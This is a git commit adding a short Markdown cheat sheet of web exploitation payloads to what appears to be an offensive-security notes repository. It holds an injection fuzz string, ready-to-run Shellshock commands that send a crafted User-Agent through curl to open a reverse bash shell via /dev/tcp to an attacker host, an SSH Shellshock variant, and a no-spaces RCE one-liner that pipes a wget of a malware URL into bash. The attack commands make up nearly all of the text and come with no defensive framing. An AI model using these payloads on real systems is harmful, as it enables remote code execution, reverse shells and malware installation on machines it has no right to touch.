first commit

Necronomicon/Attacks/Web Exploitation/Misc.md

@@ -0,0 +1,11 @@
+- Injection vulnerability omnibuses
+```
+dddd",'|&$;:`({{@<%=ddd
+```
+
+- Shellshock
+	- `curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status`
+	- `curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status`
+	- `ssh username@IPADDRESS '() { :;}; /bin/bash'`
+- RCE where no spaces are allowed (python required)
+	- `python3$IFS-c'print(b"wget\x20http://my-malware".decode())'|bash`